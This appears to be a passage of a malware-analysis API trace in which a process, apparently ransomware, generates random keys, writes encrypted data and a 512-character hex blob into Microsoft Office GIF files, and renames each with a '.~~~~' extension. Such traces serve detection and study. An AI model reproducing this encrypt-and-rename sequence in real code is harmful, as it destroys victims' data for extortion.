	[0127.467] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.467] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.467] CloseHandle (hObject=0x128) returned 1
	[0127.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1f48
	[0127.467] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif.~~~~")) returned 1
	[0127.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0127.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0127.469] GetLastError () returned 0x0
	[0127.469] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.470] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.470] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.470] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.470] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.470] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24746061320) returned 1
	[0127.471] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb56dc4f0, dwHighDateTime=0x1d60e1e)) 
	[0127.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6c70
	[0127.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c70 | out: hHeap=0x300000) returned 1
	[0127.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e67d8
	[0127.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.471] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0127.471] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.471] GetLastError () returned 0x0
	[0127.472] GetLastError () returned 0x0
	[0127.472] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.472] GetLastError () returned 0x0
	[0127.472] GetLastError () returned 0x0
	[0127.473] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffffbc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.473] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x44, lpOverlapped=0x0) returned 1
	[0127.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.474] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.474] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.474] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.474] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.475] CloseHandle (hObject=0x128) returned 1
	[0127.475] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0127.475] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif.~~~~")) returned 1
	[0127.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0127.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0127.476] GetLastError () returned 0x0
	[0127.477] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.478] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.478] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.478] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24746833596) returned 1
	[0127.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5702650, dwHighDateTime=0x1d60e1e)) 
	[0127.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6ca8
	[0127.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6ca8 | out: hHeap=0x300000) returned 1
	[0127.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6f10
	[0127.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6f10 | out: hHeap=0x300000) returned 1
	[0127.479] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.479] GetLastError () returned 0x0
	[0127.479] GetLastError () returned 0x0
	[0127.479] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.480] GetLastError () returned 0x0
	[0127.480] GetLastError () returned 0x0
	[0127.481] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.481] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xbf, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xbf, lpOverlapped=0x0) returned 1
	[0127.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.483] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.483] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.483] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.483] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.483] CloseHandle (hObject=0x128) returned 1
	[0127.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0127.484] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif.~~~~")) returned 1
	[0127.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6f10 | out: hHeap=0x300000) returned 1
	[0127.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0127.778] GetLastError () returned 0x0
	[0127.778] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.780] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.780] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.780] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24777002456) returned 1
	[0127.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb59d6070, dwHighDateTime=0x1d60e1e)) 
	[0127.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9938
	[0127.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9938 | out: hHeap=0x300000) returned 1
	[0127.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6bc8
	[0127.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6bc8 | out: hHeap=0x300000) returned 1
	[0127.781] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.781] GetLastError () returned 0x0
	[0127.781] GetLastError () returned 0x0
	[0127.781] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.781] GetLastError () returned 0x0
	[0127.781] GetLastError () returned 0x0
	[0127.783] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.783] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xfe, lpOverlapped=0x0) returned 1
	[0127.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.784] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.784] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.785] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.785] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.785] CloseHandle (hObject=0x128) returned 1
	[0127.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6bc8
	[0127.785] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif.~~~~")) returned 1
	[0127.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6bc8 | out: hHeap=0x300000) returned 1
	[0127.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0127.786] GetLastError () returned 0x0
	[0127.787] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.788] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.788] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.788] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.788] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24777860272) returned 1
	[0127.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb59fc1d0, dwHighDateTime=0x1d60e1e)) 
	[0127.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9970
	[0127.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9970 | out: hHeap=0x300000) returned 1
	[0127.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6880
	[0127.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0127.789] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.790] GetLastError () returned 0x0
	[0127.790] GetLastError () returned 0x0
	[0127.790] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.790] GetLastError () returned 0x0
	[0127.790] GetLastError () returned 0x0
	[0127.791] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff9d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.791] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x63, lpOverlapped=0x0) returned 1
	[0127.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.793] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.793] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.794] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.794] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.794] CloseHandle (hObject=0x128) returned 1
	[0127.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0127.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif.~~~~")) returned 1
	[0127.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6880 | out: hHeap=0x300000) returned 1
	[0127.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0127.801] GetLastError () returned 0x0
	[0127.802] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.803] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.803] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.804] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24779372642) returned 1
	[0127.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb5a22330, dwHighDateTime=0x1d60e1e)) 
	[0127.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f99a8
	[0127.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f99a8 | out: hHeap=0x300000) returned 1
	[0127.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e74f8
	[0127.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e74f8 | out: hHeap=0x300000) returned 1
	[0127.804] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.805] GetLastError () returned 0x0
	[0127.805] GetLastError () returned 0x0
	[0127.805] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.805] GetLastError () returned 0x0
	[0127.805] GetLastError () returned 0x0
	[0127.807] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffffb6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.807] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x4a, lpOverlapped=0x0) returned 1
	[0127.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
